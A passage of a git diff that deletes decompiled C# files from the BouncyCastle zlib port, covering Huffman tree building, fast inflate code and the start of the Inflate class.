num2; - continue; - } - s.bitb = num; - s.bitk = num2; - z.avail_in = num4; - z.total_in += num3 - z.next_in_index; - z.next_in_index = num3; - s.write = num5; - return s.inflate_flush(z, r); - } - len += num & inflate_mask[num7]; - num >>= num7; - num2 -= num7; - need = dbits; - tree = dtree; - tree_index = dtree_index; - mode = 3; - goto case 3; - } - case 3: - { - int num7; - for (num7 = need; num2 < num7; num2 += 8) - { - if (num4 != 0) - { - r = 0; - num4--; - num |= (z.next_in[num3++] & 0xFF) << num2; - continue; - } - s.bitb = num; - s.bitk = num2; - z.avail_in = num4; - z.total_in += num3 - z.next_in_index; - z.next_in_index = num3; - s.write = num5; - return s.inflate_flush(z, r); - } - int num8 = (tree_index + (num & inflate_mask[num7])) * 3; - num >>= tree[num8 + 1]; - num2 -= tree[num8 + 1]; - int num9 = tree[num8]; - if ((num9 & 0x10) != 0) - { - get = num9 & 0xF; - dist = tree[num8 + 2]; - mode = 4; - break; - } - if ((num9 & 0x40) == 0) - { - need = num9; - tree_index = num8 / 3 + tree[num8 + 2]; - break; - } - mode = 9; - z.msg = "invalid distance code"; - r = -3; - s.bitb = num; - s.bitk = num2; - z.avail_in = num4; - z.total_in += num3 - z.next_in_index; - z.next_in_index = num3; - s.write = num5; - return s.inflate_flush(z, r); - } - case 4: - { - int num7; - for (num7 = get; num2 < num7; num2 += 8) - { - if (num4 != 0) - { - r = 0; - num4--; - num |= (z.next_in[num3++] & 0xFF) << num2; - continue; - } - s.bitb = num; - s.bitk = num2; - z.avail_in = num4; - z.total_in += num3 - z.next_in_index; - z.next_in_index = num3; - s.write = num5; - return s.inflate_flush(z, r); - } - dist += num & inflate_mask[num7]; - num >>= num7; - num2 -= num7; - mode = 5; - goto case 5; - } - case 5: - { - int i; - for (i = num5 - dist; i < 0; i += s.end) - { - } - while (len != 0) - { - if (num6 == 0) - { - if (num5 == s.end && s.read != 0) - { - num5 = 0; - num6 = ((num5 < s.read) ? (s.read - num5 - 1) : (s.end - num5)); - } - if (num6 == 0) - { - s.write = num5; - r = s.inflate_flush(z, r); - num5 = s.write; - num6 = ((num5 < s.read) ? (s.read - num5 - 1) : (s.end - num5)); - if (num5 == s.end && s.read != 0) - { - num5 = 0; - num6 = ((num5 < s.read) ? (s.read - num5 - 1) : (s.end - num5)); - } - if (num6 == 0) - { - s.bitb = num; - s.bitk = num2; - z.avail_in = num4; - z.total_in += num3 - z.next_in_index; - z.next_in_index = num3; - s.write = num5; - return s.inflate_flush(z, r); - } - } - } - s.window[num5++] = s.window[i++]; - num6--; - if (i == s.end) - { - i = 0; - } - len--; - } - mode = 0; - break; - } - case 6: - if (num6 == 0) - { - if (num5 == s.end && s.read != 0) - { - num5 = 0; - num6 = ((num5 < s.read) ? (s.read - num5 - 1) : (s.end - num5)); - } - if (num6 == 0) - { - s.write = num5; - r = s.inflate_flush(z, r); - num5 = s.write; - num6 = ((num5 < s.read) ? (s.read - num5 - 1) : (s.end - num5)); - if (num5 == s.end && s.read != 0) - { - num5 = 0; - num6 = ((num5 < s.read) ? (s.read - num5 - 1) : (s.end - num5)); - } - if (num6 == 0) - { - s.bitb = num; - s.bitk = num2; - z.avail_in = num4; - z.total_in += num3 - z.next_in_index; - z.next_in_index = num3; - s.write = num5; - return s.inflate_flush(z, r); - } - } - } - r = 0; - s.window[num5++] = (byte)lit; - num6--; - mode = 0; - break; - case 7: - if (num2 > 7) - { - num2 -= 8; - num4++; - num3--; - } - s.write = num5; - r = s.inflate_flush(z, r); - num5 = s.write; - num6 = ((num5 < s.read) ? (s.read - num5 - 1) : (s.end - num5)); - if (s.read != s.write) - { - s.bitb = num; - s.bitk = num2; - z.avail_in = num4; - z.total_in += num3 - z.next_in_index; - z.next_in_index = num3; - s.write = num5; - return s.inflate_flush(z, r); - } - mode = 8; - goto case 8; - case 8: - r = 1; - s.bitb = num; - s.bitk = num2; - z.avail_in = num4; - z.total_in += num3 - z.next_in_index; - z.next_in_index = num3; - s.write = num5; - return s.inflate_flush(z, r); - case 9: - r = -3; - s.bitb = num; - s.bitk = num2; - z.avail_in = num4; - z.total_in += num3 - z.next_in_index; - z.next_in_index = num3; - s.write = num5; - return s.inflate_flush(z, r); - default: - r = -2; - s.bitb = num; - s.bitk = num2; - z.avail_in = num4; - z.total_in += num3 - z.next_in_index; - z.next_in_index = num3; - s.write = num5; - return s.inflate_flush(z, r); - } - } - } - - internal void free(ZStream z) - { - } - - internal int inflate_fast(int bl, int bd, int[] tl, int tl_index, int[] td, int td_index, InfBlocks s, ZStream z) - { - int next_in_index = z.next_in_index; - int num = z.avail_in; - int num2 = s.bitb; - int num3 = s.bitk; - int num4 = s.write; - int num5 = ((num4 < s.read) ? (s.read - num4 - 1) : (s.end - num4)); - int num6 = inflate_mask[bl]; - int num7 = inflate_mask[bd]; - int num12; - while (true) - { - if (num3 < 20) - { - num--; - num2 |= (z.next_in[next_in_index++] & 0xFF) << num3; - num3 += 8; - continue; - } - int num8 = num2 & num6; - int[] array = tl; - int num9 = tl_index; - int num10 = (num9 + num8) * 3; - int num11; - if ((num11 = array[num10]) == 0) - { - num2 >>= array[num10 + 1]; - num3 -= array[num10 + 1]; - s.window[num4++] = (byte)array[num10 + 2]; - num5--; - } - else - { - while (true) - { - num2 >>= array[num10 + 1]; - num3 -= array[num10 + 1]; - if ((num11 & 0x10) != 0) - { - num11 &= 0xF; - num12 = array[num10 + 2] + (num2 & inflate_mask[num11]); - num2 >>= num11; - for (num3 -= num11; num3 < 15; num3 += 8) - { - num--; - num2 |= (z.next_in[next_in_index++] & 0xFF) << num3; - } - num8 = num2 & num7; - array = td; - num9 = td_index; - num10 = (num9 + num8) * 3; - num11 = array[num10]; - while (true) - { - num2 >>= array[num10 + 1]; - num3 -= array[num10 + 1]; - if ((num11 & 0x10) != 0) - { - break; - } - if ((num11 & 0x40) == 0) - { - num8 += array[num10 + 2]; - num8 += num2 & inflate_mask[num11]; - num10 = (num9 + num8) * 3; - num11 = array[num10]; - continue; - } - z.msg = "invalid distance code"; - num12 = z.avail_in - num; - num12 = ((num3 >> 3 < num12) ? (num3 >> 3) : num12); - num += num12; - next_in_index -= num12; - num3 -= num12 << 3; - s.bitb = num2; - s.bitk = num3; - z.avail_in = num; - z.total_in += next_in_index - z.next_in_index; - z.next_in_index = next_in_index; - s.write = num4; - return -3; - } - for (num11 &= 0xF; num3 < num11; num3 += 8) - { - num--; - num2 |= (z.next_in[next_in_index++] & 0xFF) << num3; - } - int num13 = array[num10 + 2] + (num2 & inflate_mask[num11]); - num2 >>= num11; - num3 -= num11; - num5 -= num12; - int num14; - if (num4 >= num13) - { - num14 = num4 - num13; - if (num4 - num14 > 0 && 2 > num4 - num14) - { - s.window[num4++] = s.window[num14++]; - s.window[num4++] = s.window[num14++]; - num12 -= 2; - } - else - { - Array.Copy(s.window, num14, s.window, num4, 2); - num4 += 2; - num14 += 2; - num12 -= 2; - } - } - else - { - num14 = num4 - num13; - do - { - num14 += s.end; - } - while (num14 < 0); - num11 = s.end - num14; - if (num12 > num11) - { - num12 -= num11; - if (num4 - num14 > 0 && num11 > num4 - num14) - { - do - { - s.window[num4++] = s.window[num14++]; - } - while (--num11 != 0); - } - else - { - Array.Copy(s.window, num14, s.window, num4, num11); - num4 += num11; - num14 += num11; - num11 = 0; - } - num14 = 0; - } - } - if (num4 - num14 > 0 && num12 > num4 - num14) - { - do - { - s.window[num4++] = s.window[num14++]; - } - while (--num12 != 0); - break; - } - Array.Copy(s.window, num14, s.window, num4, num12); - num4 += num12; - num14 += num12; - num12 = 0; - break; - } - if ((num11 & 0x40) == 0) - { - num8 += array[num10 + 2]; - num8 += num2 & inflate_mask[num11]; - num10 = (num9 + num8) * 3; - if ((num11 = array[num10]) == 0) - { - num2 >>= array[num10 + 1]; - num3 -= array[num10 + 1]; - s.window[num4++] = (byte)array[num10 + 2]; - num5--; - break; - } - continue; - } - if ((num11 & 0x20) != 0) - { - num12 = z.avail_in - num; - num12 = ((num3 >> 3 < num12) ? (num3 >> 3) : num12); - num += num12; - next_in_index -= num12; - num3 -= num12 << 3; - s.bitb = num2; - s.bitk = num3; - z.avail_in = num; - z.total_in += next_in_index - z.next_in_index; - z.next_in_index = next_in_index; - s.write = num4; - return 1; - } - z.msg = "invalid literal/length code"; - num12 = z.avail_in - num; - num12 = ((num3 >> 3 < num12) ? (num3 >> 3) : num12); - num += num12; - next_in_index -= num12; - num3 -= num12 << 3; - s.bitb = num2; - s.bitk = num3; - z.avail_in = num; - z.total_in += next_in_index - z.next_in_index; - z.next_in_index = next_in_index; - s.write = num4; - return -3; - } - } - if (num5 < 258 || num < 10) - { - break; - } - } - num12 = z.avail_in - num; - num12 = ((num3 >> 3 < num12) ? (num3 >> 3) : num12); - num += num12; - next_in_index -= num12; - num3 -= num12 << 3; - s.bitb = num2; - s.bitk = num3; - z.avail_in = num; - z.total_in += next_in_index - z.next_in_index; - z.next_in_index = next_in_index; - s.write = num4; - return 0; - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Utilities/Zlib/InfTree.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Utilities/Zlib/InfTree.cs deleted file mode 100644 index 798707f..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Utilities/Zlib/InfTree.cs +++ /dev/null @@ -1,531 +0,0 @@ -using System; - -namespace Org.BouncyCastle.Utilities.Zlib; - -internal sealed class InfTree -{ - private const int MANY = 1440; - - private const int Z_OK = 0; - - private const int Z_STREAM_END = 1; - - private const int Z_NEED_DICT = 2; - - private const int Z_ERRNO = -1; - - private const int Z_STREAM_ERROR = -2; - - private const int Z_DATA_ERROR = -3; - - private const int Z_MEM_ERROR = -4; - - private const int Z_BUF_ERROR = -5; - - private const int Z_VERSION_ERROR = -6; - - private const int fixed_bl = 9; - - private const int fixed_bd = 5; - - private const int BMAX = 15; - - private static readonly int[] fixed_tl = new int[1536] - { - 96, 7, 256, 0, 8, 80, 0, 8, 16, 84, - 8, 115, 82, 7, 31, 0, 8, 112, 0, 8, - 48, 0, 9, 192, 80, 7, 10, 0, 8, 96, - 0, 8, 32, 0, 9, 160, 0, 8, 0, 0, - 8, 128, 0, 8, 64, 0, 9, 224, 80, 7, - 6, 0, 8, 88, 0, 8, 24, 0, 9, 144, - 83, 7, 59, 0, 8, 120, 0, 8, 56, 0, - 9, 208, 81, 7, 17, 0, 8, 104, 0, 8, - 40, 0, 9, 176, 0, 8, 8, 0, 8, 136, - 0, 8, 72, 0, 9, 240, 80, 7, 4, 0, - 8, 84, 0, 8, 20, 85, 8, 227, 83, 7, - 43, 0, 8, 116, 0, 8, 52, 0, 9, 200, - 81, 7, 13, 0, 8, 100, 0, 8, 36, 0, - 9, 168, 0, 8, 4, 0, 8, 132, 0, 8, - 68, 0, 9, 232, 80, 7, 8, 0, 8, 92, - 0, 8, 28, 0, 9, 152, 84, 7, 83, 0, - 8, 124, 0, 8, 60, 0, 9, 216, 82, 7, - 23, 0, 8, 108, 0, 8, 44, 0, 9, 184, - 0, 8, 12, 0, 8, 140, 0, 8, 76, 0, - 9, 248, 80, 7, 3, 0, 8, 82, 0, 8, - 18, 85, 8, 163, 83, 7, 35, 0, 8, 114, - 0, 8, 50, 0, 9, 196, 81, 7, 11, 0, - 8, 98, 0, 8, 34, 0, 9, 164, 0, 8, - 2, 0, 8, 130, 0, 8, 66, 0, 9, 228, - 80, 7, 7, 0, 8, 90, 0, 8, 26, 0, - 9, 148, 84, 7, 67, 0, 8, 122, 0, 8, - 58, 0, 9, 212, 82, 7, 19, 0, 8, 106, - 0, 8, 42, 0, 9, 180, 0, 8, 10, 0, - 8, 138, 0, 8, 74, 0, 9, 244, 80, 7, - 5, 0, 8, 86, 0, 8, 22, 192, 8, 0, - 83, 7, 51, 0, 8, 118, 0, 8, 54, 0, - 9, 204, 81, 7, 15, 0, 8, 102, 0, 8, - 38, 0, 9, 172, 0, 8, 6, 0, 8, 134, - 0, 8, 70, 0, 9, 236, 80, 7, 9, 0, - 8, 94, 0, 8, 30, 0, 9, 156, 84, 7, - 99, 0, 8, 126, 0, 8, 62, 0, 9, 220, - 82, 7, 27, 0, 8, 110, 0, 8, 46, 0, - 9, 188, 0, 8, 14, 0, 8, 142, 0, 8, - 78, 0, 9, 252, 96, 7, 256, 0, 8, 81, - 0, 8, 17, 85, 8, 131, 82, 7, 31, 0, - 8, 113, 0, 8, 49, 0, 9, 194, 80, 7, - 10, 0, 8, 97, 0, 8, 33, 0, 9, 162, - 0, 8, 1, 0, 8, 129, 0, 8, 65, 0, - 9, 226, 80, 7, 6, 0, 8, 89, 0, 8, - 25, 0, 9, 146, 83, 7, 59, 0, 8, 121, - 0, 8, 57, 0, 9, 210, 81, 7, 17, 0, - 8, 105, 0, 8, 41, 0, 9, 178, 0, 8, - 9, 0, 8, 137, 0, 8, 73, 0, 9, 242, - 80, 7, 4, 0, 8, 85, 0, 8, 21, 80, - 8, 258, 83, 7, 43, 0, 8, 117, 0, 8, - 53, 0, 9, 202, 81, 7, 13, 0, 8, 101, - 0, 8, 37, 0, 9, 170, 0, 8, 5, 0, - 8, 133, 0, 8, 69, 0, 9, 234, 80, 7, - 8, 0, 8, 93, 0, 8, 29, 0, 9, 154, - 84, 7, 83, 0, 8, 125, 0, 8, 61, 0, - 9, 218, 82, 7, 23, 0, 8, 109, 0, 8, - 45, 0, 9, 186, 0, 8, 13, 0, 8, 141, - 0, 8, 77, 0, 9, 250, 80, 7, 3, 0, - 8, 83, 0, 8, 19, 85, 8, 195, 83, 7, - 35, 0, 8, 115, 0, 8, 51, 0, 9, 198, - 81, 7, 11, 0, 8, 99, 0, 8, 35, 0, - 9, 166, 0, 8, 3, 0, 8, 131, 0, 8, - 67, 0, 9, 230, 80, 7, 7, 0, 8, 91, - 0, 8, 27, 0, 9, 150, 84, 7, 67, 0, - 8, 123, 0, 8, 59, 0, 9, 214, 82, 7, - 19, 0, 8, 107, 0, 8, 43, 0, 9, 182, - 0, 8, 11, 0, 8, 139, 0, 8, 75, 0, - 9, 246, 80, 7, 5, 0, 8, 87, 0, 8, - 23, 192, 8, 0, 83, 7, 51, 0, 8, 119, - 0, 8, 55, 0, 9, 206, 81, 7, 15, 0, - 8, 103, 0, 8, 39, 0, 9, 174, 0, 8, - 7, 0, 8, 135, 0, 8, 71, 0, 9, 238, - 80, 7, 9, 0, 8, 95, 0, 8, 31, 0, - 9, 158, 84, 7, 99, 0, 8, 127, 0, 8, - 63, 0, 9, 222, 82, 7, 27, 0, 8, 111, - 0, 8, 47, 0, 9, 190, 0, 8, 15, 0, - 8, 143, 0, 8, 79, 0, 9, 254, 96, 7, - 256, 0, 8, 80, 0, 8, 16, 84, 8, 115, - 82, 7, 31, 0, 8, 112, 0, 8, 48, 0, - 9, 193, 80, 7, 10, 0, 8, 96, 0, 8, - 32, 0, 9, 161, 0, 8, 0, 0, 8, 128, - 0, 8, 64, 0, 9, 225, 80, 7, 6, 0, - 8, 88, 0, 8, 24, 0, 9, 145, 83, 7, - 59, 0, 8, 120, 0, 8, 56, 0, 9, 209, - 81, 7, 17, 0, 8, 104, 0, 8, 40, 0, - 9, 177, 0, 8, 8, 0, 8, 136, 0, 8, - 72, 0, 9, 241, 80, 7, 4, 0, 8, 84, - 0, 8, 20, 85, 8, 227, 83, 7, 43, 0, - 8, 116, 0, 8, 52, 0, 9, 201, 81, 7, - 13, 0, 8, 100, 0, 8, 36, 0, 9, 169, - 0, 8, 4, 0, 8, 132, 0, 8, 68, 0, - 9, 233, 80, 7, 8, 0, 8, 92, 0, 8, - 28, 0, 9, 153, 84, 7, 83, 0, 8, 124, - 0, 8, 60, 0, 9, 217, 82, 7, 23, 0, - 8, 108, 0, 8, 44, 0, 9, 185, 0, 8, - 12, 0, 8, 140, 0, 8, 76, 0, 9, 249, - 80, 7, 3, 0, 8, 82, 0, 8, 18, 85, - 8, 163, 83, 7, 35, 0, 8, 114, 0, 8, - 50, 0, 9, 197, 81, 7, 11, 0, 8, 98, - 0, 8, 34, 0, 9, 165, 0, 8, 2, 0, - 8, 130, 0, 8, 66, 0, 9, 229, 80, 7, - 7, 0, 8, 90, 0, 8, 26, 0, 9, 149, - 84, 7, 67, 0, 8, 122, 0, 8, 58, 0, - 9, 213, 82, 7, 19, 0, 8, 106, 0, 8, - 42, 0, 9, 181, 0, 8, 10, 0, 8, 138, - 0, 8, 74, 0, 9, 245, 80, 7, 5, 0, - 8, 86, 0, 8, 22, 192, 8, 0, 83, 7, - 51, 0, 8, 118, 0, 8, 54, 0, 9, 205, - 81, 7, 15, 0, 8, 102, 0, 8, 38, 0, - 9, 173, 0, 8, 6, 0, 8, 134, 0, 8, - 70, 0, 9, 237, 80, 7, 9, 0, 8, 94, - 0, 8, 30, 0, 9, 157, 84, 7, 99, 0, - 8, 126, 0, 8, 62, 0, 9, 221, 82, 7, - 27, 0, 8, 110, 0, 8, 46, 0, 9, 189, - 0, 8, 14, 0, 8, 142, 0, 8, 78, 0, - 9, 253, 96, 7, 256, 0, 8, 81, 0, 8, - 17, 85, 8, 131, 82, 7, 31, 0, 8, 113, - 0, 8, 49, 0, 9, 195, 80, 7, 10, 0, - 8, 97, 0, 8, 33, 0, 9, 163, 0, 8, - 1, 0, 8, 129, 0, 8, 65, 0, 9, 227, - 80, 7, 6, 0, 8, 89, 0, 8, 25, 0, - 9, 147, 83, 7, 59, 0, 8, 121, 0, 8, - 57, 0, 9, 211, 81, 7, 17, 0, 8, 105, - 0, 8, 41, 0, 9, 179, 0, 8, 9, 0, - 8, 137, 0, 8, 73, 0, 9, 243, 80, 7, - 4, 0, 8, 85, 0, 8, 21, 80, 8, 258, - 83, 7, 43, 0, 8, 117, 0, 8, 53, 0, - 9, 203, 81, 7, 13, 0, 8, 101, 0, 8, - 37, 0, 9, 171, 0, 8, 5, 0, 8, 133, - 0, 8, 69, 0, 9, 235, 80, 7, 8, 0, - 8, 93, 0, 8, 29, 0, 9, 155, 84, 7, - 83, 0, 8, 125, 0, 8, 61, 0, 9, 219, - 82, 7, 23, 0, 8, 109, 0, 8, 45, 0, - 9, 187, 0, 8, 13, 0, 8, 141, 0, 8, - 77, 0, 9, 251, 80, 7, 3, 0, 8, 83, - 0, 8, 19, 85, 8, 195, 83, 7, 35, 0, - 8, 115, 0, 8, 51, 0, 9, 199, 81, 7, - 11, 0, 8, 99, 0, 8, 35, 0, 9, 167, - 0, 8, 3, 0, 8, 131, 0, 8, 67, 0, - 9, 231, 80, 7, 7, 0, 8, 91, 0, 8, - 27, 0, 9, 151, 84, 7, 67, 0, 8, 123, - 0, 8, 59, 0, 9, 215, 82, 7, 19, 0, - 8, 107, 0, 8, 43, 0, 9, 183, 0, 8, - 11, 0, 8, 139, 0, 8, 75, 0, 9, 247, - 80, 7, 5, 0, 8, 87, 0, 8, 23, 192, - 8, 0, 83, 7, 51, 0, 8, 119, 0, 8, - 55, 0, 9, 207, 81, 7, 15, 0, 8, 103, - 0, 8, 39, 0, 9, 175, 0, 8, 7, 0, - 8, 135, 0, 8, 71, 0, 9, 239, 80, 7, - 9, 0, 8, 95, 0, 8, 31, 0, 9, 159, - 84, 7, 99, 0, 8, 127, 0, 8, 63, 0, - 9, 223, 82, 7, 27, 0, 8, 111, 0, 8, - 47, 0, 9, 191, 0, 8, 15, 0, 8, 143, - 0, 8, 79, 0, 9, 255 - }; - - private static readonly int[] fixed_td = new int[96] - { - 80, 5, 1, 87, 5, 257, 83, 5, 17, 91, - 5, 4097, 81, 5, 5, 89, 5, 1025, 85, 5, - 65, 93, 5, 16385, 80, 5, 3, 88, 5, 513, - 84, 5, 33, 92, 5, 8193, 82, 5, 9, 90, - 5, 2049, 86, 5, 129, 192, 5, 24577, 80, 5, - 2, 87, 5, 385, 83, 5, 25, 91, 5, 6145, - 81, 5, 7, 89, 5, 1537, 85, 5, 97, 93, - 5, 24577, 80, 5, 4, 88, 5, 769, 84, 5, - 49, 92, 5, 12289, 82, 5, 13, 90, 5, 3073, - 86, 5, 193, 192, 5, 24577 - }; - - private static readonly int[] cplens = new int[31] - { - 3, 4, 5, 6, 7, 8, 9, 10, 11, 13, - 15, 17, 19, 23, 27, 31, 35, 43, 51, 59, - 67, 83, 99, 115, 131, 163, 195, 227, 258, 0, - 0 - }; - - private static readonly int[] cplext = new int[31] - { - 0, 0, 0, 0, 0, 0, 0, 0, 1, 1, - 1, 1, 2, 2, 2, 2, 3, 3, 3, 3, - 4, 4, 4, 4, 5, 5, 5, 5, 0, 112, - 112 - }; - - private static readonly int[] cpdist = new int[30] - { - 1, 2, 3, 4, 5, 7, 9, 13, 17, 25, - 33, 49, 65, 97, 129, 193, 257, 385, 513, 769, - 1025, 1537, 2049, 3073, 4097, 6145, 8193, 12289, 16385, 24577 - }; - - private static readonly int[] cpdext = new int[30] - { - 0, 0, 0, 0, 1, 1, 2, 2, 3, 3, - 4, 4, 5, 5, 6, 6, 7, 7, 8, 8, - 9, 9, 10, 10, 11, 11, 12, 12, 13, 13 - }; - - private int[] hn = null; - - private int[] v = null; - - private int[] c = null; - - private int[] r = null; - - private int[] u = null; - - private int[] x = null; - - private int huft_build(int[] b, int bindex, int n, int s, int[] d, int[] e, int[] t, int[] m, int[] hp, int[] hn, int[] v) - { - int num = 0; - int num2 = n; - nint num4; - int[] array2; - do - { - int[] array = (array2 = c); - int num3 = b[bindex + num]; - num4 = num3; - array[num3] = array2[num4] + 1; - num++; - num2--; - } - while (num2 != 0); - if (c[0] == n) - { - t[0] = -1; - m[0] = 0; - return 0; - } - int num5 = m[0]; - int i; - for (i = 1; i <= 15 && c[i] == 0; i++) - { - } - int j = i; - if (num5 < i) - { - num5 = i; - } - num2 = 15; - while (num2 != 0 && c[num2] == 0) - { - num2--; - } - int num6 = num2; - if (num5 > num2) - { - num5 = num2; - } - m[0] = num5; - int num7 = 1 << i; - while (i < num2) - { - if ((num7 -= c[i]) < 0) - { - return -3; - } - i++; - num7 <<= 1; - } - if ((num7 -= c[num2]) < 0) - { - return -3; - } - int[] array3 = (array2 = c); - int num8 = num2; - num4 = num8; - array3[num8] = array2[num4] + num7; - i = (x[1] = 0); - num = 1; - int num9 = 2; - while (--num2 != 0) - { - i = (x[num9] = i + c[num]); - num9++; - num++; - } - num2 = 0; - num = 0; - do - { - if ((i = b[bindex + num]) != 0) - { - int[] array4 = (array2 = x); - int num10 = i; - num4 = num10; - int num11; - array4[num10] = (num11 = array2[num4]) + 1; - v[num11] = num2; - } - num++; - } - while (++num2 < n); - n = x[num6]; - num2 = (x[0] = 0); - num = 0; - int num12 = -1; - int num13 = -num5; - u[0] = 0; - int num14 = 0; - int num15 = 0; - for (; j <= num6; j++) - { - int num16 = c[j]; - while (num16-- != 0) - { - int num17; - while (j > num13 + num5) - { - num12++; - num13 += num5; - num15 = num6 - num13; - num15 = ((num15 > num5) ? num5 : num15); - if ((num17 = 1 << (i = j - num13)) > num16 + 1) - { - num17 -= num16 + 1; - num9 = j; - if (i < num15) - { - while (++i < num15 && (num17 <<= 1) > c[++num9]) - { - num17 -= c[num9]; - } - } - } - num15 = 1 << i; - if (hn[0] + num15 > 1440) - { - return -3; - } - num14 = (u[num12] = hn[0]); - (array2 = hn)[0] = array2[0] + num15; - if (num12 != 0) - { - x[num12] = num2; - r[0] = (byte)i; - r[1] = (byte)num5; - i = num2 >> num13 - num5; - r[2] = num14 - u[num12 - 1] - i; - Array.Copy(r, 0, hp, (u[num12 - 1] + i) * 3, 3); - } - else - { - t[0] = num14; - } - } - r[1] = (byte)(j - num13); - if (num >= n) - { - r[0] = 192; - } - else if (v[num] < s) - { - r[0] = (byte)((v[num] >= 256) ? 96 : 0); - r[2] = v[num++]; - } - else - { - r[0] = (byte)(e[v[num] - s] + 16 + 64); - r[2] = d[v[num++] - s]; - } - num17 = 1 << j - num13; - for (i = num2 >> num13; i < num15; i += num17) - { - Array.Copy(r, 0, hp, (num14 + i) * 3, 3); - } - i = 1 << j - 1; - while ((num2 & i) != 0) - { - num2 ^= i; - i >>= 1; - } - num2 ^= i; - int num18 = (1 << num13) - 1; - while ((num2 & num18) != x[num12]) - { - num12--; - num13 -= num5; - num18 = (1 << num13) - 1; - } - } - } - if (num7 == 0 || num6 == 1) - { - return 0; - } - return -5; - } - - internal int inflate_trees_bits(int[] c, int[] bb, int[] tb, int[] hp, ZStream z) - { - initWorkArea(19); - hn[0] = 0; - int num = huft_build(c, 0, 19, 19, null, null, tb, bb, hp, hn, v); - if (num == -3) - { - z.msg = "oversubscribed dynamic bit lengths tree"; - } - else if (num == -5 || bb[0] == 0) - { - z.msg = "incomplete dynamic bit lengths tree"; - num = -3; - } - return num; - } - - internal int inflate_trees_dynamic(int nl, int nd, int[] c, int[] bl, int[] bd, int[] tl, int[] td, int[] hp, ZStream z) - { - initWorkArea(288); - hn[0] = 0; - int num = huft_build(c, 0, nl, 257, cplens, cplext, tl, bl, hp, hn, v); - if (num != 0 || bl[0] == 0) - { - switch (num) - { - case -3: - z.msg = "oversubscribed literal/length tree"; - break; - default: - z.msg = "incomplete literal/length tree"; - num = -3; - break; - case -4: - break; - } - return num; - } - initWorkArea(288); - num = huft_build(c, nl, nd, 0, cpdist, cpdext, td, bd, hp, hn, v); - if (num != 0 || (bd[0] == 0 && nl > 257)) - { - switch (num) - { - case -3: - z.msg = "oversubscribed distance tree"; - break; - case -5: - z.msg = "incomplete distance tree"; - num = -3; - break; - default: - z.msg = "empty distance tree with lengths"; - num = -3; - break; - case -4: - break; - } - return num; - } - return 0; - } - - internal static int inflate_trees_fixed(int[] bl, int[] bd, int[][] tl, int[][] td, ZStream z) - { - bl[0] = 9; - bd[0] = 5; - tl[0] = fixed_tl; - td[0] = fixed_td; - return 0; - } - - private void initWorkArea(int vsize) - { - if (hn == null) - { - hn = new int[1]; - v = new int[vsize]; - c = new int[16]; - r = new int[3]; - u = new int[15]; - x = new int[16]; - } - if (v.Length < vsize) - { - v = new int[vsize]; - } - for (int i = 0; i < vsize; i++) - { - v[i] = 0; - } - for (int j = 0; j < 16; j++) - { - c[j] = 0; - } - for (int k = 0; k < 3; k++) - { - r[k] = 0; - } - Array.Copy(c, 0, u, 0, 15); - Array.Copy(c, 0, x, 0, 16); - } -} diff --git a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Utilities/Zlib/Inflate.cs b/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Utilities/Zlib/Inflate.cs deleted file mode 100644 index 2c12f7e..0000000 --- a/output/Libraries/BouncyCastle.Crypto/Org/BouncyCastle/Utilities/Zlib/Inflate.cs +++ /dev/null @@ -1,402 +0,0 @@ -namespace Org.BouncyCastle.Utilities.Zlib; - -internal sealed class Inflate -{ - private const int MAX_WBITS = 15; - - private const int PRESET_DICT = 32; - - internal const int Z_NO_FLUSH = 0; - - internal const int Z_PARTIAL_FLUSH = 1; - - internal const int Z_SYNC_FLUSH = 2; - - internal const int Z_FULL_FLUSH = 3; - - internal const int Z_FINISH = 4; - - private const int Z_DEFLATED = 8; - - private const int Z_OK = 0; - - private const int Z_STREAM_END = 1; - - private const int Z_NEED_DICT = 2; - - private const int Z_ERRNO = -1; - - private const int Z_STREAM_ERROR = -2; - - private const int Z_DATA_ERROR = -3; - - private const int Z_MEM_ERROR = -4; - - private const int Z_BUF_ERROR = -5; - - private const int Z_VERSION_ERROR = -6; - - private const int METHOD = 0; - - private const int FLAG = 1; - - private const int DICT4 = 2; - - private const int DICT3 = 3; - - private const int DICT2 = 4; - - private const int DICT1 = 5; - - private const int DICT0 = 6; - - private const int BLOCKS = 7; - - private const int CHECK4 = 8; - - private const int CHECK3 = 9; - - private const int CHECK2 = 10; - - private const int CHECK1 = 11; - - private const int DONE = 12; - - private const int BAD = 13; - - internal int mode; - - internal int method; - - internal long[] was = new long[1]; - - internal long need; - - internal int marker; - - internal int nowrap; - - internal int wbits; - - internal InfBlocks blocks; - - private static readonly byte[] mark = new byte[4] { 0, 0, 255, 255 }; - - internal int inflateReset(ZStream z) - { - if (z == null || z.istate == null) - { - return -2; - } - z.total_in = (z.total_out = 0L); - z.msg = null; - z.istate.mode = ((z.istate.nowrap != 0) ? 7 : 0); - z.istate.blocks.reset(z, null); - return 0; - } - - internal int inflateEnd(ZStream z) - { - if (blocks != null) - { - blocks.free(z); - } - blocks = null; - return 0; - } - - internal int inflateInit(ZStream z, int w) - { - z.msg = null; - blocks = null; - nowrap = 0; - if (w < 0) - { - w = -w; - nowrap = 1; - } - if (w < 8 || w > 15) - { - inflateEnd(z); - return -2; - } - wbits = w; - z.istate.blocks = new InfBlocks(z, (z.istate.nowrap != 0) ? null : this, 1 << w); - inflateReset(z); - return 0; - } - - internal int inflate(ZStream z, int f) - { - if (z == null || z.istate == null || z.next_in == null) - { - return -2; - } - f = ((f == 4) ? (-5) : 0); - int num = -5; - while (true) - { - switch (z.istate.mode) - { - case 0: - if (z.avail_in == 0) - { - return num; - } - num = f; - z.avail_in--; - z.total_in++; - if (((z.istate.method = z.next_in[z.next_in_index++]) & 0xF) != 8) - { - z.istate.mode = 13; - z.msg = "unknown compression method"; - z.istate.marker = 5; - break; - } - if ((z.istate.method >> 4) + 8 > z.istate.wbits) - { - z.istate.mode = 13; - z.msg = "invalid window size"; - z.istate.marker = 5; - break; - } - z.istate.mode = 1; - goto case 1; - case 1: - { - if (z.avail_in == 0) - { - return num; - } - num = f; - z.avail_in--; - z.total_in++; - int num2 = z.next_in[z.next_in_index++] & 0xFF; - if (((z.istate.method << 8) + num2) % 31 != 0) - { - z.istate.mode = 13; - z.msg = "incorrect header check"; - z.istate.marker = 5; - break; - } - if ((num2 & 0x20) == 0) - { - z.istate.mode = 7; - break; - } - z.istate.mode = 2; - goto case 2; 